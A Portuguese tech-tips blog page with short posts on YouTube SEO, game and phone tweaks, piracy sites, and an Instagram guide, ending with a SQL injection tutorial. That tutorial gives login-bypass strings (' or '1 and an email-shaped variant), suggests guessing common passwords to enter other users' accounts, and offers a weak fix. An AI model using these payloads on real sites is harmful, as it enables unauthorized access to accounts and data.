Latest Posts
Mostrando postagens com marcador Tutoriais. Mostrar todas as postagens
Mostrando postagens com marcador Tutoriais. Mostrar todas as postagens

sábado, 23 de julho de 2016

Como fazer Otimização de Vídeos no Youtube para ganhar mais visualiz

Assim como podemos otimizar um site para obter melhores posições no ranking do Google, também podemos otimizar um vídeo para conseguir uma maior exposição nos resultados do Youtube.
O Youtube é a segunda maior ferramenta de busca do mundo, atrás apenas do próprio Google. A cada minuto, são postados mais de 48 horas de novos vídeos.
Vídeos têm uma grande atratividade também nos resultados do Google, o que pode aumentar incrivelmente seu CTR rapidamente.
Aprenda mais como melhorar a visualização dos seus vídeos e outros aspectos de SEO no nossocurso presencial.

Qualidade de Conteúdo

Sempre que for fazer SEO, vai precisar pensar em entregar um conteúdo de qualidade. Eles precisam ser relevantes e claros.
Seja objetivo, pois não terá muita chance com os visitantes: a maior parte das desistências ocorrem dentro de 5 segundos, então aproveite essa chance de atrair a atenção do espectador.
Vídeos que são guias, passo-a-passo e análises costumam ter bastante sucesso. Esse conteúdo é muito apreciado pelos usuários, então pode ser um filão interessante para entrar. Mas pense em como pode oferecer algo novo para a comunidade. Não tente fazer o que já existe. Se achar algum tipo de vídeo interessante, tente pensar em como aplicar isso para o seu nicho.

Title

Aqui funciona exatamente o mesmo princípio da otimização de sites. A recomendação é otimizar seus títulos que atraiam os olhares do usuário e o convença a clicar. Que melhor forma de fazer isso do que incluindo a palavra-chave que ele digitou?
Mas tome cuidado! É aí que muitos profissionais erram ao querer criar títulos artificiais só para satisfazer esse ponto. Lembre-se de ter uma chamada interessante, com algum adjetivo conferindo uma qualidade única ao vídeo. Incluir várias palavras-chave sempre terá cara de SPAM, e isso nunca é vantajoso.
Importante: é possível incluir títulos de até 100 caracteres, mas nos resultados do Youtube e Google só cerca de 55 serão exibidos.
Seja criativo nesses primeiros para atrair muitos cliques.

Tags

Utilize as tags como aliadas da otimização, incluindo frases chave para definir o vídeo. Seja claro e não utilize linguagem técnica ou complicada. A ideia é ser uma informação direta pra qualquer tipo de pessoa que estiver lendo.
Você pode abordar novamente suas palavras-chave, mas tente ampliar o escopo delas um pouco mais, inserindo talvez numa pequena frase de 3 ou 4 palavras. Leve em consideração na hora de escolher o título do vídeo em como você as utilizará nas tags.

Description

Inclua na descrição do seu vídeo algumas informações que possam agregar valor ao vídeo, como onde ele foi filmado e porque. Isso aumenta a chance de algum usuário simpatizar com seu vídeo. E quanto mais vínculo o usuário tiver com você, maior a chance dele compartilhar.
Assim como nas outras áreas, inclua também uma descrição com palavras-chave que definem o vídeo. A utilização extensiva das palavras-chave para otimizar seu sitemap fazem com que o vídeo seja melhor indexado pelos robôs de análise, e oferecem um ambiente mais compreensível para o usuário ao ver a palavra que ele digitou no campo de busca.
Importante: é possível incluir títulos de até 500 caracteres, mas nos resultados do Youtube só cerca de 70 serão exibidos.
Novamente, seja criativo para atrair muitos cliques.

Duração

O tamanho de um vídeo é um fator crítico de sucesso. A maioria dos usuários assistem por volta de 1min30seg dos vídeos. Produza vídeos com no máximo 5 minutos. Depois analise as estatísticas, e veja se o seu público tem interesse em assistir todo o vídeo. Com isso você tem uma sustentação para explorar vídeos com maior duração.
Se for um assunto muito grande, tente separar o conteúdo em capítulos divididos em diversos vídeos. Isso torna a visualização mais dinâmica e te dá uma maior chance de manter seu espectador. E justamente o tempo de visualização de vídeos pelos usuários é um fator de ranqueamento.

Video Sitemaps

Uma das melhores formas de mostrar um conteúdo que gostaria de ser indexado é através do sitemap. Então submeta um sitemap do seu vídeo para facilitar a vida do robô do Google.
A ferramenta Webmaster Tools do Google ajuda bastante nisso, tornando o trabalho bem fácil. Novamente, utilize palavras-chave para tornar o conteúdo mais atraente para as ferramentas de busca.

Opções de incorporação

Oferecer o máximo de opções de utilização para os usuários é a melhor forma de aumentar o alcance do seu conteúdo. Uma das formas é disponibilizando aos outros usuários de incorporarem (embedding, em inglês) o vídeo no site deles.
Além de aumentar a exposição potencial, oferecer essa opção pode ajudar na construção de links apontando para o seu vídeo. E novamente, a quantidade de links é um dos fatores de ranqueamento mais importantes, então preste atenção neste ponto!

Interações

Seus usuários podem ajudar ainda mais ao interagirem com o vídeo, além de somente assistí-lo. Estimule as pessoas a fazerem comentários, votar no vídeo com o Gostei ou Não Gostei. Isso ajuda a tornar o vídeo mais interessante para um bom ranqueamento. Veja alguns fatores que você deve sempre trabalhar o seu desenvolvimento:
  • Visualizações
  • Avaliações
  • Inclusão em Listas de Reprodução
  • Compartilhamentos
  • Incorporações
  • Comentários
  • Idade do vídeo
  • Visualizações do canal
  • Inscritos no canal
  • Links pro vídeo
Agora chegou a hora de juntar tudo o que aprendeu aqui e aplicar aos seus vídeos. Pode ter certeza de que tudo isso irá aumentar a exposição deles, e com isso, trazer mais acessos!
more »

domingo, 24 de maio de 2015

Underground 2 - Aprenda a jogar online 2015


Hoje venho trazer para vocês um tutorial, para que vocês possam jogar Need for Speed Underground 2 no modo online.
 Pela intenet já encontrei muitos jogadores em busca de uma resposta, inclusive, eu já fui um deles. Porém após muitas buscas em sites e forúns exteriores, o que me levou até um brasileiro que soube responder meus problemas, e agora venho compartilhar com vocês!

 GameRanger, tudo passa por aqui!

 Para começar, será necessário criar um servidor, porque o servidor oficial da EA já foi destivado faz alguns anos. Para isso, nós vamos baixar o programa GameRanger, que é gratuito, e pode ser encontrado clicando aqui.
 É necessário criar uma conta gratuita no GameRanger, através do programa mesmo, o que realmente vale a pena pois o programa é muito bom, e tem suporte para vários outros jogos. Lembrando, que é o programa que vai fazer o jogo online.
 Antes de abrir o programa, dê um clique com o botão direito sobre o ícone do GameRanger,e selecione Propriedades. Na janela que abrir, vá na aba Compatibilidade e marque a caixa, Executar este programa em modo de compatibilidade:, e escolha Windows XP Service Pack 3. Após clique em aplicar e feche o janela. Veja a imagem abaixo:
Caso você utilize o Windows XP, acredito que não seja necessário

 Com o jogo fechado, abra o programa, após fazer login, vá até a lista N, de Need for Speed Underground 2. A lista que você verá são outros jogadores que usam o próprio pc para servir de servidor para o jogo online. Para jogar, apenas dê um duplo clique em cima do servidor que desejar(desde que não esteja com a bolinha verde no lado direito, pois significa que o jogo já começou, e não poderá entrar). Você entrará em uma espécie de Lobby onde poderá conversar através do chat.

Lista de servers, caso queira criar o seu, clique em Host

 Configurando o Underground 2 para jogar Online

 -Bom, depois de ter instalado o GameRanger, ainda será necessário configurar seu Underground para rodar online no modo Lan.

Escolha a configuração padrão

 Abra o jogo, e vá em Opções>Tela, então selecione a resolução de 640x480, e coloque os gráficos no modo padrão(eu sei que o jogo fica com gráficos bem ruins, porém, para ele rodar online isto será necessário). Então feche o jogo, e dê um clique com o botão direito, e coloque no modo de compatibilidade igual ao GameRanger.

Finalizando

Aguardando o criador iniciar a partida!

Quando for jogar, deixe o jogo fechado e abra o GameRanger, após escolher um servidor e for combinado inicio do jogo, o criador do server irá clicar em Start e seu jogo irá iniciar automaticamente.

Jogar NFS Underground 2 online, não é algo tão dificíl assim como puderam ver. Apenas existem poucas fontes na internet, devido a falta de informação por parte dos jogadores. Porém, mesmo assim, existem muitos jogadores online e uma grande quantidade de brasileiros no jogo. Além do modo de drift e drag, que não está disponível no World Online, e que muitos jogadores gostariam de jogar!

Obs.: Caso não vá jogar online, poderá colocar com gráficos melhores novamente. Apenas diminua quando for jogar online!
more »

Como instalar Windows 10 sem perder Windows Anterior (Parte2)



Nesse vídeo, aprendemos o passo a passo como instalar o windows 10, sem a necessidade de remover o windows  anterior, seja ele windows 7, window 8, windows 8.1 ou até mesmo windows vista e xp e seus demais.... se você não assistiu a aula anterior, logo abaixo está o link.. é essencial, quie você assista, antes que parta para próximas etapadas.. obrigado, igoortech!
more »

Erro ao copiar "A device attached to the system is not functioning" (RESOLVIDO)

A device attached to the system is not functioning .. APRENDA COMO RESOLVER ESSE PROBLEMA DE FORMA FÁCIL E EFICAZ.. AQUI PODE ACONTECER COM SUA CÂMERA, SEU GALAXY S3, S2, S5, S6, COM SEU IPHONE,4,5,6,7 E ATÉ MESMO COM OUTROS DISPOSITIVOS.. SOLUÇÕES

If you receive this error message A device attached to the system is not functioning, here are a few things you may try. It is quite possible that the attached device is not working for one of these reasons:

USB or external device is switched off, or connected improperly
The external device and drive types are incompatible
The external device is not properly inserted in the drive or connected to the port
The drive door is open
The external device is not properly formatted.

Correct the problem by addressing the above possibilities and try again running your command again.
more »

terça-feira, 27 de janeiro de 2015

Como Descompactar/Extrair Arquivos sem ter a senha



O Programa que vai extrair os jogos ou outros arquivos sem a necessidade de digitar uma senha é o Advanced rar Repair
Ele extrai qualquer arquivo no formato .rar que esteja bloqueado por senha, mesmo que não saibamos qual é esta tal senha...
O programa é usado por mim, já encontrei vários arquivos bloqueados por senha e não consegui encontrar as tais senhas, alguns sites colocam e nos obrigam a passar até mesmo horas tentando achar a senha... Nós do the Pirate nunca colocamos senha em arquivos e nunca colocaremos, mesmo que diversos sites utilizem nossos torrents, isso é bom para nós também pois temos divulgação através desses torrents e o mesmo acontece quando usamos torrents de outros uploaders.. O compartilhamento de torrents é positivo para todos e as senhas só servem para irritar os usuarios.., é frustrante esperar horas por um download e na hora de extrair pedir senha... Por isso estou passando este tutorial... 


Atenção: Pode ser que ele trave quando chegar em 99%, mas basta esperar que logo ele destrava sozinho e termina o processo.. Já uso o programa há um bom tempo e todos os arquivos descompactam sem problemas, basta esperar...


Download do Advanced Rar Repair:


more »

sexta-feira, 16 de janeiro de 2015

Esqueceu a senha do seu celular Android? saiba como desbloquear do dispositivo


 Hoje em dia, muita gente acaba colocando senha em seus dispositivos em busca de segurança para seus arquivos e dificultar a vida do ladrão em caso de roubo, porem é muito comum que você acabe se esquecendo da senha, ou o padrão de desbloqueio, para isto existem métodos que irão lhe ajudar a desbloquear o dispositivo mesmo sem o padrão ou a senha.

Primeiro Método: Desbloqueio via conta do google

Desbloqueio do celular via conta do google

 Todos os dispositivos android possuem um sistema de recuperação da senha através da conta do Google registrada como administradora do dispositivo, para isto, basta errar o padrão ou a senha cinco vezes e clicar em esqueci a senha,então o dispositivo ira solicitar o endereço de Email do administrador e a senha, se os dados estiverem corretos, o dispositivo sera desbloqueado independente de uma conexão a internet.

Desbloqueio do celular via conta do google

Segundo Método: Utilizando o PIN de desbloqueio

 Algumas versões do android solicitam que você cadastre um PIN sempre que uma nova senha ou um novo padrão de desbloqueio e cadastrado, sempre mantenha este PIN guardado em um lugar seguro, onde você possa conferir o mesmo, utilize-o para desbloquear o dispositivo.
Desbloqueio do celular via PIN

Terceiro Método: Utilize recursos do Fabricante

desbloquear celular android

 Alguns fabricantes possuem recursos que permitem rastrear, restaurar, desbloquear a tela do dispositivo e muitos outros recursos, para isto, basta ir ate o site do fabricante e utilizar o recurso, é importante lembrar que para utilizar-se deste recurso é necessário que sua conta no site do fabricante esteja ativada no dispositivo e a conexão com a internet esteja ativada no dispositivo.
Sites de alguns fabricantes para desbloqueio e rastreamento:
 No caso dos outros fabricantes, e necessário que se verifique com o fabricante o site correto para o desbloqueio.

Quarto Método: Restaurar os padrões de fábrica via modo de recuperação

 Todos os dispositivos android possuem um menu que pode ser acessado antes de ligar o dispositivo, para isto, basta pressionar as teclas indicadas pelo fabricante ao mesmo tempo durante a inicialização do telefone, o seguinte menu, ou um parecido ira aparecer, basta clicar em wipe data/factory reset
Desbloqueio do celular via restauração dos padrões
isto ira apagar tudo no celular, e recomendado que se remova o cartão de memoria para não perder os dados armazenados neste.

Se nenhum destes métodos funcionarem, e recomendado que se leve o dispositivo ate uma assistência autorizada para restauração.
more »

quarta-feira, 7 de janeiro de 2015

Tutorial de Como jogar PSP no moto G





PSSPP é um emulador de PSP que vem em constante evolução surpreendendo com a incrível capacidade de rodar roms de PsP .Suas atualizações o elevaram a um nível incrível, no qual já é possível jogar sem nenhum bug ,com incríveis gráficos, velocidade e respostas .A jogabilidade então, nem se fala...





Downloads:

Versõ Build (Testes): Aqui
Versão Gold v0.9.6 - Mediafire

Tutorial de como configurar o emulador -http://youtube.com/watch?v=DOddVCfe8uA
more »

segunda-feira, 5 de janeiro de 2015

Como Acessar o The Pirate Bay enquanto estiver fora do ar ou indisponível



Já está p da vida com as saídas do ar do The Pirate Bay aqui vai uma dica boa para não ficar mais esperando ele voltar e ficar preocupado .

Faça assim:

Mude do link http://thepiratebay.se o seu final .se pra .cr

Acessem também como alternativo: http://oldpiratebay.org
more »

quarta-feira, 25 de dezembro de 2013

TechnoDUOS For GT-S6102 Galaxy Y DUOS


INSTALAÇÃO

(Primeira e trabalho mais importante para você é fazer um backup nandroid usando cwm daqui.)

1. ROM (recomendado: Para Flashing & Data / Cache Limpando uso Stock Recovery)
= Copie o Rom para a raiz do seu sdcard
= Bota em recuperação usando 3 botões de combinação
= Wipe data / factory reset
= Limpe partição de cache
= Aplicar atualização de sdcard
= Selecione seu * ROM.zip
= Reiniciar

Partida será lento, para esperar e não forçá-stop.

2. KERNEL
= Copiar tanto KernelFlasherV2-U.zip & boot.img (kernel) para a raiz do seu sdcard.
= Bota em recuperação usando 3 botões de combinação
= Aplicar atualização de sdcard
= Selecione o CWM-6102.zip (obtê-lo a partir daqui.)
= Selecione o update zip sdcard
= Selecionar KernelFlasherV2-U.zip
= Reiniciar




Link download da Rom


------------------------------------------------------------------------------------------------------------------------------------------
TechnoDUOS 1.5 BDSky
1. TechnoDUOS1.5 (Stable S1525) (ROM) *New # 4shared Mirror Provided By lavadepa !
2. A2SD Enabler (UpdatePack) *New # Mediafire Mirror Provided By mustang4372 !
citação:
Kernel Flasher V2 Atualizado (recomendado)
Adicionado backup atual Kernel Característica
Depois de piscar vai haver um arquivo "boot_bak.img" na raiz do seu sdcard.
Apenas mude o nome para "boot.img" e flash-lo (quando necessário), como descrito acima.
more »

como aumentar a memória internet do seu galaxy Y Tutorial

. De forma bem simples mais edificaz. Tutorial bem explicado. Espero que gostem. Se escrevam no canal e curtam nossa fan page. Dê aquele like pra ajudar divulgar, obrigado!

Link dos downlods nescessários

Link SDCARD

CWM


Tagas Extras
Extra memory Galaxy Y
memória externa galaxy duos
memoria internna galaxy Y
Galaxy  Y aumentar memoira
Galaxy Y instalar apps no cartão
Linksd2 como usar
tutorial como aumentar memoria
Como fazer root
more »

domingo, 15 de dezembro de 2013

Como usar o Instagram passo passo




Instagram é uma empresa de rede social como o Twitter e Facebook que permite que você faça o upload, editar e legendar suas próprias fotos. Este guia simples mostra como gerenciar sua conta, tirar fotos e usar Instagram.



Parte 1 de 3: Instalar o Instagram

     1
     Baixe o aplicativo Instagram. Vá para a loja de aplicativos do seu dispositivo, clique no botão Pesquisar, e digite "Instagram". Percorra até encontrar o aplicativo, selecione-o e clique em "Instalar".
         Se você baixar o aplicativo do iTunes você terá que sincronizá-lo com o seu dispositivo iOS antes que você possa usá-lo.



2
 Inicie o aplicativo Instagram. Toque no ícone do Instagram (uma pequena câmera com listras do arco-íris) na tela inicial do seu dispositivo.
 

3
  Criar uma conta. Clique no botão "Inscreva-se" na parte inferior da tela e digite seu e-mail, nome de usuário, senha, número de telefone (opcional), e fazer o upload de uma foto (opcional) para criar sua conta. Você pode optar por adicionar um pouco de informação pessoal no "sobre" a seção, bem como, incluindo um site pessoal. 



4
Siga os amigos. Agora você pode, opcionalmente, optar por importar contatos e encontrar os amigos de sua lista de contatos, conta do Facebook, Twitter conta, ou simplesmente procurar nomes e nomes de usuários. Após as pessoas permite que você veja suas mensagens em seu feed de notícias, e semelhante ao Twitter, você pode seguir qualquer pessoa, incluindo as pessoas que você não conhece pessoalmente, se você escolher. Clique em "Next" quando tiver terminado.

     Você será capaz de adicionar amigos a qualquer momento a partir da sua conta, mesmo depois de criar sua conta.
     Você pode optar por seguir os usuários do Instagram sugeridas clicando no botão "Seguir" botão ao lado do nome. Clique em "Concluído" para concluir o processo e continuar diretamente para sua conta. [1]


Parte 2 de 3: Usando as abas em Instagram


Percorra seu feed. De dentro da aba "Feed" você pode percorrer as mensagens de todos os usuários que você está seguindo por . Para obter a guia de alimentação , toque no ícone que se parece com uma casa para a própria esquerda.
        
Clique no botão de atualização no canto superior direito para recarregar a guia .
    
2
    
Olhe para o guia popular. De dentro da aba " Popular ", você pode ver fotos enviadas por outros usuários que estão recebendo atenção da comunidade Instagram. Estes são tipicamente as fotos do Instagram com mais 'likes' . A guia popular é visualizado por um ícone de estrela .
        
Para procurar usuários e hashtags , vá para a guia popular e digite na barra de pesquisa no topo.
    
3


    
Ver suas notícias e atualizações. Sempre que alguém gosta de uma de suas fotos , comenta em uma de suas fotos , você segue , ou marcar você em uma foto, você será notificado sob a aba 'Notícias' . Este é o ícone pequeno comentário - caixa com um coração no centro, a terceira guia acabou. Se alguém gosta ativamente , comentários ou segue você, enquanto você está no Instagram, um coração pequeno laranja , comentário bolha, ou perfil forma aparecerá logo acima do separador 'news' .
    
4
    
Como e comentar fotos de outras pessoas. Se você está percorrendo o seu feed de notícias ou ver imagens na guia popular, você pode mostrar o seu interesse por gostar ou comentá-los . Para gostar de uma foto, você pode pressionar o botão em forma de coração logo abaixo da foto , ou você pode dar um duplo toque na imagem. Para comentar sobre uma foto, clique no ícone de comentário de bolhas pequenas e digite seu comentário quando o teclado aparece.
    
5
    
Veja o seu próprio perfil. Para ver um arquivo de fotos que enviou , bem como a lista completa de quem você está seguindo e quem são seus seguidores , você pode visitar o seu guia perfil no lado direito ( um ícone de quadrado com uma bolha e listras dentro dele ) . Aqui você pode ver todas as suas fotos , eddit seu perfil de usuário do Instagram , e adicionar ou desativar redes sociais em " Editar configurações de compartilhamento " .

EditPart 3 de 3: Como adicionar fotos para Instagram

    
1
    
Adicione suas fotos para Instagram. Clicando na aba " Share" permitirá que você para tirar fotos ou selecionar fotos de foto do seu dispositivo albums.This é o grande guia em forma de câmera no centro , na parte inferior da tela.


    
2
    
Dê uma nova foto para Instagram. Se você não tem a foto que você deseja publicar em seus álbuns de fotos , você pode tirar uma nova foto e enviá-lo diretamente para o Instagram. Depois de clicar no botão de 'share' , clique no ícone da câmera no centro para tirar uma foto . (Isso requer um dispositivo com uma câmera como o iPhone ou um telefone Android. ) Clique em "Next" para avançar para a próxima tela.
        
Você também pode clicar no pequeno ícone no canto inferior direito para ativar e desativar o Flash do seu dispositivo , se suportado .


    
3

    Carregar uma foto de seus álbuns de fotos. Tire uma foto grande já ? Você pode adicionar este clicando no ícone de fotos em camadas a partir do canto inferior esquerdo para selecionar uma foto de seus álbuns de fotos. Percorra até encontrar a foto que você deseja adicionar e, em seguida, toque nele para selecioná-lo. Clique em ' Next' para avançar para a próxima tela.




    
4
    
Edite a sua foto. Instagram tem capacidades de edição mínimos, mas dá- lhe algum . Você pode optar por rodar a fotografia , adicione um quadro , crie um efeito de borrão , ou clarear a foto , selecionando cada um dos ícones correspondentes (nessa ordem ) na tela. Se você decidir que não gosta das edições que você fez , basta clicar no ícone novamente para reverter a edição.
        
Você pode alterar a forma do efeito borrado , clicando no ícone várias vezes - você tem a opção de borrar a imagem inteira , exceto por uma faixa ou com exceção de um espaço redondo. Estes podem ser movidos por tocar a foto e mover as zonas desfocadas .
        
Frames só vai aparecer se você usar um filtro a partir da seleção fornecido.


    
5
    
Aplicar um filtro para a sua foto. Instagram oferece vários filtros que você pode usar para editar suas fotos . Clique sobre os quadrados entrelaçados na parte inferior esquerda para escolher uma imagem para trabalhar, em seguida, selecione um filtro das opções que aparecem . Você pode selecionar apenas um único filtro , e para testá-los você simplesmente toque em cada ícone de filtro e sua imagem será alterada. Se você decidir que não quer que os filtros , o azulejo no canto esquerdo irá reverter sua imagem de volta para as configurações "normais". Clique em " Next" quando tiver terminado .
    
6
    
Adicionar informação à sua imagem. Digite uma breve descrição de sua foto no "O quê? " Campo de entrada de texto. Você não tem de incluir qualquer coisa, mas só são capazes de adicionar uma descrição antes de postar a foto. Adicionar hashtags aqui para fornecer uma consulta pesquisável para os outros a encontrar a sua foto com .
        
Você também pode selecionar opcionalmente a guia " Onde? " Para adicionar informações de localização à sua foto .
    
7
    
Partilhe a sua foto fora do Instagram. Clique em qualquer uma das redes sociais abaixo " Sharing" que você deseja publicar sua foto em . Digite o nome de usuário e senha associados à sua conta para vinculá-lo com a sua conta Instagram. Se você não deseja compartilhar sua foto em qualquer lugar exceto no Instagram, simplesmente ignore esta etapa.
    
8
    
Clique em " Concluído" para concluir o processo e postar sua foto. Sua foto irá aparecer no seu "feed" e também a alimentação de outros usuários do Instagram que estão seguindo você . Também será enviada para qualquer uma das redes sociais que você selecionou . [2]
 
 
 
more »

domingo, 13 de outubro de 2013

Conheça tudo sobre SQL Injection


Modo Básico, passando por senhas em sites
Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Cadastro esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.
Em sites onde o cadastro é pago, aí a coisa muda de figura. O site imagina estar vendendo alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.
O que venho apresentar, jogará seu login no vento e o site arderá no mármore do inferno, mas só vou falar como funciona porque Alah mandou e estava escrito com o bit sagrado.
Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.
Vamos a lógica:
O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuario, Senha, Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.
Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.
Bonito não!? Teoricamente funciona.
Vamos a prática:
Dentro desse script .asp, o programador colocou algo desse tipo:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
*****
Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.
Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.
Vamos pensar um pouco:
select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.
Traduzindo a string acima, teríamos:
select usuario, senha, nome, admin from Users where usuario=’geek’ and senha=’s3nh4′
Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.
Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.
Você falou, falou, falou…. mas e daí!? Cadê o erro nisso?
Ok. Vamos ao erro:
Se quando formos digitar um login, tivermos essa string de programação do sql na cabeça, podemos formar outra facilmente, que injeta um comando de sql, dentro do que o programador já fez.
Ou seja, se eu digitar Mario no username, o sql ficará:
select usuario, senha, nome, admin from Users where usuario=’Mario’ and senha=’s3nh4′
Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.
Agora, se digitarmos no username Ma’rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:
select usuario, senha, nome, admin from Users where usuario=’Ma’rio’ and senha=’s3nh4′
Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples. Para o sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.
Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele.
Imagine se usarmos a string ‘ or ’1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=’s3nh4′
Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.
Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=” or ’1′
Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).
Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.
Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.
Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.
Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.
E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)
Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).
A string que passa pelos e-mails é:
eu@eu.com’or’.11′=’.11
Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um dominio com subdomínio.
Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?
Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:
O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
else
response.write Login inválido.
end if
*****
Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.
Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuario e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.
Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.
Modo Avançado, buscando e alterando dados
Agora que você já sabe como entrar em um site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.
Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro. ;)
